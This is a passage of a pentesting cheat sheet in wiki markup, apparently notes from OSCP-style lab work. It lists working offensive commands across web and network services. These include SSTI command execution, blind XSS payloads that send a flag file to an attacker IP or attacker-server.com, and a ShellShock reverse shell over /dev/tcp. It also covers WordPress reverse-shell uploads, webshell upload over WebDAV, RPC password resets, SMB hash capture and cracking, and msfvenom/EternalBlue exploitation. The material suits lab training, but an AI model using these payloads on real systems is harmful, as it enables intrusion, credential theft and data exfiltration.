&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSTI ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c echo RCE &amp;gt; C:/Windows/Tasks/test.txt&amp;quot;);&lt;br /&gt;
@System.Diagnostics.Process.Start(&amp;quot;cmd.exe&amp;quot;,&amp;quot;/c powershell -e ENCODEDCOMMAND&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XSS ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]&lt;br /&gt;
&lt;br /&gt;
==== Blind XSS ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING GET REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Send this to the vulnernable form parameter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;).then(response =&amp;gt; response.text()).then(data =&amp;gt; fetch(&#039;http://10.9.17.250/receive?data=&#039; + encodeURIComponent(data)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Set up a listener, like python http server og netcat and wait for the connection.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -lvnp 80&lt;br /&gt;
listening on [any] 80 ...&lt;br /&gt;
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532&lt;br /&gt;
GET /receive?data=THM%7B83... HTTP/1.1&lt;br /&gt;
Host: 10.9.17.250&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36&lt;br /&gt;
accept: */*&lt;br /&gt;
origin: http://127.0.0.1:8080&lt;br /&gt;
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247&lt;br /&gt;
Referer: http://127.0.0.1:8080/&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;USING POST REQUEST&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Host the Script&#039;&#039;&#039;: You need to have control over the server at  ​[http://10.9.17.250 http://10.9.17.250]​ . On this server, you&#039;ll place your JavaScript code in a file, typically with a  ​.js​  extension (even though you mentioned  ​test.txt​ , it&#039;s more common to use  ​.js​  for JavaScript files).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Write the JavaScript Code&#039;&#039;&#039;: The JavaScript code that fetches the content from  ​[http://10.10.109.42:8080/flag.txt http://10.10.109.42:8080/flag.txt]​  and then sends it to your server needs to be written and saved in the file you&#039;re hosting (say  ​script.js​ ).&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of what your JavaScript file ( ​script.js​ ) might contain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
fetch(&#039;http://10.10.109.42:8080/flag.txt&#039;)&lt;br /&gt;
    .then(response =&amp;gt; response.text())&lt;br /&gt;
    .then(data =&amp;gt; {&lt;br /&gt;
        fetch(&#039;http://10.9.17.250/receive&#039;, { // Change the endpoint as needed&lt;br /&gt;
            method: &#039;POST&#039;,&lt;br /&gt;
            headers: {&lt;br /&gt;
                &#039;Content-Type&#039;: &#039;application/x-www-form-urlencoded&#039;,&lt;br /&gt;
            },&lt;br /&gt;
            body: `data=${encodeURIComponent(data)}`&lt;br /&gt;
        });&lt;br /&gt;
    });&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can alos send this directly instead of hosting it:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;fetch(&#039;/profile&#039;).then(response =&amp;gt; response.json()).then(data =&amp;gt; fetch(&#039;http://attacker-server.com&#039;, {method: &#039;POST&#039;, headers: {&#039;Content-Type&#039;: &#039;application/json&#039;}, body: JSON.stringify(data)}));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Inject the payload in the form&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
Feedback=&amp;quot;&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Setup a receiver:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from flask import Flask, request&lt;br /&gt;
app = Flask(__name__)&lt;br /&gt;
@app.route(&#039;/receive&#039;, methods=[&#039;POST&#039;])&lt;br /&gt;
def receive_data():&lt;br /&gt;
    data = request.get_json()&lt;br /&gt;
    print(data)&lt;br /&gt;
    return &#039;Data received&#039;, 200&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    app.run(host=&#039;0.0.0.0&#039;, port=80)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bypass robots.txt &amp;quot;You are not a search engine. Permission denied.&amp;quot; ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Set User-Agent to &amp;quot;User-Agent: Googlebot/2.1 (+http://www.googlebot.com/bot.html)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellShock (CGI) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &amp;quot;user-agent: () { :; }; echo; echo; /bin/bash -c &#039;cat /etc/passwd&#039;&amp;quot; /cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -H &#039;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.17/4444 0&amp;gt;&amp;amp;1&#039; http://10.10.10.56/cgi-bin/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMS/Webservers ===&lt;br /&gt;
&lt;br /&gt;
==== Apache James ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.72 PWK&lt;br /&gt;
# Apache James Server 2.3.2&lt;br /&gt;
https://www.exploit-db.com/exploits/50347&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Drupal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
droopscan scan -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Username Enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Register&lt;br /&gt;
In /user/register try to create a username, and if the name is already taken it will be notified&lt;br /&gt;
Register new password&lt;br /&gt;
If you request a new password for an exisiting username.&lt;br /&gt;
If you request a new password for a non-existent username:&lt;br /&gt;
Number of users enumeration&lt;br /&gt;
Accessing /user/ you can see the number of exisinting users.&lt;br /&gt;
   - /user/4 -&amp;gt; Access denied (user exist)&lt;br /&gt;
   - /user/5 -&amp;gt; Page not found (user dosent exist)&lt;br /&gt;
There are 4 existing users.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hidden pages enumeration =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Fuzz /node/$ where $ is a number (from 1 to 500 for example).&lt;br /&gt;
You could find hidden pages (test, dev) which are not referenced by the search engine.&lt;br /&gt;
wfuzz -c -z range,1-500 -hc 404 /node/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== FuelCMS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47138&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gitstack portal ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Go to gitstack portal&lt;br /&gt;
# Try default admin:admin&lt;br /&gt;
# Click on stack menu.&lt;br /&gt;
# Choose the command portal option.&lt;br /&gt;
# replace stack.php?cmd=hello&lt;br /&gt;
# with&lt;br /&gt;
# stack.php?cmd=hello;whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== IIS - Internet Information Services ====&lt;br /&gt;
&lt;br /&gt;
==== Jenkins ====&lt;br /&gt;
&lt;br /&gt;
===== Remote Code execution =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.5.5.25 PWK&lt;br /&gt;
Select New Item --&amp;gt; Freestyle project --&amp;gt; Choose build --&amp;gt; Windows batch command (Or Execute shell for Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Joomla ====&lt;br /&gt;
&lt;br /&gt;
==== Ovidentia ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
See writeup 10.11.1.73 PWK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tiki wiki ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/40053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHPLiteAdmin ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup 10.11.1.116 PWK&lt;br /&gt;
# PHPLiteAdmin 1.9.3&lt;br /&gt;
# https://www.exploit-db.com/exploits/24044&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Tomcat ====&lt;br /&gt;
&lt;br /&gt;
==== werkzeug ====&lt;br /&gt;
&lt;br /&gt;
==== WebDAV ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
davtest -url http://10.10.10.15&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Curl commands with webDAV =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Reading Files/Folders&lt;br /&gt;
curl &#039;http://example.com/webdav&#039;&lt;br /&gt;
# Creating new Folder&lt;br /&gt;
curl -X MKCOL &#039;http://example.com/webdav/new_folder&#039;&lt;br /&gt;
# Uploading File&lt;br /&gt;
curl -T &#039;/path/to/local/file.txt&#039; &#039;http://example.com/webdav/test/new_name.txt&#039;&lt;br /&gt;
curl --upload-file  http:///test/&lt;br /&gt;
curl -T &#039;cmdasp.aspx&#039; &#039;http://192.168.89.122/cmd.aspx&#039; --user fmcsorley:CrabSharkJellyfish192&lt;br /&gt;
# Renaming File&lt;br /&gt;
curl -X MOVE --header &#039;Destination:http://example.org/webdav/new.txt&#039; &#039;http://example.com/webdav/old.txt&#039;&lt;br /&gt;
# Deleting Files/Folders&lt;br /&gt;
# File:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test.txt&#039;&lt;br /&gt;
# Folder:&lt;br /&gt;
curl -X DELETE &#039;http://example.com/webdav/test&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Wordpress ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wpscan --url&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Change user pass in Mysql =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example 1&lt;br /&gt;
use wp_genesis;&lt;br /&gt;
SELECT ID, user_login, user_pass FROM wp_users;&lt;br /&gt;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;&lt;br /&gt;
# Example 2&lt;br /&gt;
select * from wp_users;&lt;br /&gt;
UPDATE `wp_users` SET `user_pass`= MD5(&#039;bypassed&#039;) WHERE&lt;br /&gt;
`user_login`=&#039;admin&#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Panel RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Edit the 404.php file in Wordpress dashobard. Appereance --&amp;gt; Editor --&amp;gt; 404 Template.&lt;br /&gt;
Add php-reverse-shell.php.&lt;br /&gt;
Visit http:///wp-content/themes/twentytwelve/404.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Plugin RCE =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/x3rz/malicious-wordpress-plugin&lt;br /&gt;
# Edit php reverse shell and add IP and port&lt;br /&gt;
# Go to Plugin -&amp;gt; Add new -&amp;gt; Upload plugin&lt;br /&gt;
# Upload the zip file&lt;br /&gt;
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
==== PHP webshell, php code, php execution, php command ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WebApplication Firewall (WAF) ===&lt;br /&gt;
&lt;br /&gt;
=== fireprox -Rotate source IP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/ustayready/fireprox&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Waf Bypass ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c&lt;br /&gt;
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.&lt;br /&gt;
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 88 - KERBEROS ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 110 - POP3 ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Login&lt;br /&gt;
telnet 192.168.196.137 110&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
+OK Dovecot (Ubuntu) ready.&lt;br /&gt;
USER sales&lt;br /&gt;
+OK&lt;br /&gt;
PASS sales&lt;br /&gt;
+OK Logged in.&lt;br /&gt;
# List emails&lt;br /&gt;
list&lt;br /&gt;
# Read mail&lt;br /&gt;
RETR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 113 - ident ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident&lt;br /&gt;
ident-user-enum 192.168.207.60 22 113 8080 10000&lt;br /&gt;
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )&lt;br /&gt;
192.168.207.60:22       root&lt;br /&gt;
192.168.207.60:113      nobody&lt;br /&gt;
192.168.207.60:8080&lt;br /&gt;
192.168.207.60:10000    eleanor&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 135, 593 - MS RPC ==&lt;br /&gt;
&lt;br /&gt;
=== Enum with creds ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration&lt;br /&gt;
# If you have access to rpcclient, you can enumerate target&lt;br /&gt;
# Users enumeration&lt;br /&gt;
List users: querydispinfo and enumdomusers&lt;br /&gt;
Get user details: queryuser&lt;br /&gt;
Get user groups: queryusergroups&lt;br /&gt;
GET SID of a user: lookupnames&lt;br /&gt;
Get users aliases: queryuseraliases [builtin|domain]&lt;br /&gt;
# Groups enumeration&lt;br /&gt;
List groups: enumdomgroups&lt;br /&gt;
Get group details: querygroup&lt;br /&gt;
Get group members: querygroupmem&lt;br /&gt;
Aliasgroups enumeration&lt;br /&gt;
List alias: enumalsgroups&lt;br /&gt;
Get members: queryaliasmem builtin|domain&lt;br /&gt;
# Domains enumeration&lt;br /&gt;
List domains: enumdomains&lt;br /&gt;
Get SID: lsaquery&lt;br /&gt;
Domain info: querydominfo&lt;br /&gt;
# Shares enumeration&lt;br /&gt;
Enumerate all available shares: netshareenumall&lt;br /&gt;
Info about a share: netsharegetinfo&lt;br /&gt;
# More SIDs&lt;br /&gt;
Find SIDs by name: lookupnames&lt;br /&gt;
Find more SIDs: lsaenumsid&lt;br /&gt;
RID cycling (check more SIDs): lookupsids&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Password Reset over RPC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://room362.com/post/2017/reset-ad-user-password-with-linux/&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2&lt;br /&gt;
rpcclient $&amp;gt; setuserinfo2 audit2020 23 &#039;Password123!&#039;&lt;br /&gt;
# One-liner&lt;br /&gt;
root@kali# rpcclient -U &#039;blackfield.local/support%#00^BlackKnight&#039; 10.10.10.192 -c &#039;setuserinfo2 audit2020 23 &amp;quot;Password123!&amp;quot;&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 139, 445 - SMB/SAMBA ==&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u  -p&lt;br /&gt;
hydra -V -f -L  -P  smb:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture hash using responder or smbserver ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker start responder or smbserver.&lt;br /&gt;
responder -I attackerip&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support&lt;br /&gt;
# On target&lt;br /&gt;
dir \\attackerip\something&lt;br /&gt;
view=//attackerip/share&lt;br /&gt;
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.&lt;br /&gt;
# Example&lt;br /&gt;
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Command Execution through smbmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbmap -u &#039;backup&#039; -p &#039;backup&#039;  -H 10.11.1.227 -x &amp;quot;net user&amp;quot; --mode psexec&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Download files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Download all&lt;br /&gt;
smbclient ///&lt;br /&gt;
&amp;gt; mask &amp;quot;&amp;quot;&lt;br /&gt;
&amp;gt; recurse&lt;br /&gt;
&amp;gt; prompt&lt;br /&gt;
&amp;gt; mget *&lt;br /&gt;
#Download everything to current directory&lt;br /&gt;
&lt;br /&gt;
# Download all files from a directory recursively&lt;br /&gt;
smbclient /// -U  -c &amp;quot;prompt OFF;recurse ON;mget *&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== EternalBlue ms17-010 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
